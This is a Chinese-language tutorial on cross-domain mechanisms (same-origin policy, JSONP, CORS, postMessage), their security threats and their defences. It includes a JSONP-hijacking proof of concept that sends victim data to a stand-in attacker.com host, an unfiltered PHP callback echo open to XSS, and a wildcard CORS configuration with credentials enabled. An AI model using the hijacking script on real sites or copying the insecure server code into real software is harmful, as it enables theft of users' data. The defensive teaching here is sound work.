跨域威胁与安全技术详解

一、域与同源策略基础

1.1 域的定义

• 域即域名对应的网站空间
• 不同域名对应不同网站
• 相同域名不同端口也对应不同网站

1.2 同源策略(SOP)定义

同源策略限制文档/脚本如何与来自另一个源的资源交互，是隔离恶意文件的重要安全机制。

同源必须满足三个条件：

1. 协议相同
2. 域名相同
3. 端口相同

示例分析：

1.3 同源策略限制

• 只执行同源脚本
• 打开网站时先检查是否同源
• 非同源请求会被浏览器拦截报异常

二、跨域技术原理与实现

2.1 JSONP跨域

2.1.1 原理

利用<script>标签无跨域限制的特性，从其他域动态获取JSON数据。

前提条件：对方服务器必须支持JSONP

2.1.2 实现流程

1. 服务端支持JSONP并提供接口
2. 客户端声明回调函数，函数名作为参数传递给服务器
3. 创建<script>标签，src属性指向跨域API接口并传递回调函数名
4. 服务器返回数据并调用客户端回调函数

2.1.3 代码示例

服务端代码：

<?php
error_reporting(0);
$callback = $_GET['callback'];
echo $callback."({'id':1,'name':'missfresh'})"
?>

完整流程示例：

1. 登录接口
2. 通过session判断用户
3. 返回相应用户信息

2.2 CORS跨域

2.2.1 原理

跨域资源共享，允许浏览器向跨域服务器发出XMLHttpRequest请求。

关键HTTP头：

• Access-Control-Allow-Origin：指定允许访问的域
• Access-Control-Allow-Credentials：是否允许发送cookie
• Access-Control-Allow-Methods：允许的HTTP方法

2.2.2 实现流程

1. 服务器配置支持CORS
2. 客户端发送请求时填充Origin头
3. 服务器根据配置返回Access-Control-Allow-Origin头
4. 浏览器比较响应头与请求Origin，授权则返回结果

2.2.3 代码示例

服务端配置：

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');

2.3 PostMessage跨域

2.3.1 原理

HTML5引入的跨窗口通信方法。

Window.postMessage参数：

1. message：发送的数据
2. targetOrigin：目标窗口（*表示任意域）
3. transfer：可选，所有权转移

接收方使用window.addEventListener("message", callback)接收消息

2.3.2 实现流程

1. 页面A定义postMessage方法
2. 页面B定义message事件监听
3. 页面A通过iframe包含页面B并触发postMessage

2.3.3 代码示例

发送方：

receiver.postMessage(val, 'http://receive.missfresh.com');

接收方：

window.addEventListener('message', function(e) {
    alert(e.data);
});

三、跨域安全威胁分析

3.1 JSONP安全威胁

3.1.1 XSS漏洞

• 原因：callback参数过滤不严
• 示例payload：callback=
• 危害：获取cookie、跳转钓鱼网站

3.1.2 JSONP劫持

• 类型：读类型CSRF
• 流程：
  1. 构造恶意JS代码
  2. 用户访问恶意页面
  3. 自动请求存在漏洞的JSONP接口
  4. 发送用户数据到攻击者服务器

利用POC示例：

<script>
function jsonp_hack(v){
    $.get('http://attacker.com?value='+JSON.stringify(v));
}
</script>
<script src="http://victim.com/api?callback=jsonp_hack"></script>

3.2 CORS安全威胁

3.2.1 错误配置导致信息泄露

• 常见错误：
  • 允许所有域(Access-Control-Allow-Origin: *)
  • 正则匹配不严导致绕过

3.2.2 实际案例

• 修改Origin头测试是否接受任意域
• 构造exp页面窃取用户数据

3.3 PostMessage安全威胁

3.3.1 主要风险点

• targetOrigin设置为*
• 未验证消息来源域

3.3.2 攻击方式

1. XSS攻击：通过恶意消息执行脚本
2. 窗口劫持：劫持发送的消息

四、跨域安全场景

4.1 共享cookie数据

• 统一登录系统风险
• 子域漏洞影响主域安全

4.2 共享个人信息数据

• JSONP/CORS配置错误
• 引入不安全JS资源

五、跨域安全防护方案

1. 严格控制信任域

   • 禁止配置Access-Control-Allow-Origin: *
   • 严格测试正则表达式

2. 确保资源安全性

   • 验证引入JS的来源
   • 使用Subresource Integrity检查

3. 业务隔离

   • 核心业务与边缘业务分离
   • 控制子域可信度

4. 第三方管理

   • 禁止将子域分配给不可信第三方
   • 签订安全协议明确责任

5. 具体技术防护：

   • JSONP：严格过滤callback参数，验证Referer
   • CORS：精确配置允许域，避免宽松设置
   • PostMessage：验证消息来源，避免使用*

六、总结

跨域技术在现代Web开发中必不可少，但错误配置会带来严重安全风险。开发人员应在实现功能的同时，充分考虑以下安全原则：

1. 最小权限原则：只授予必要权限
2. 输入验证：对所有输入进行严格过滤
3. 来源验证：验证所有跨域请求的来源
4. 持续监控：定期审计跨域接口安全性

通过合理配置和严格的安全措施，可以在保证功能实现的同时有效防范跨域安全威胁。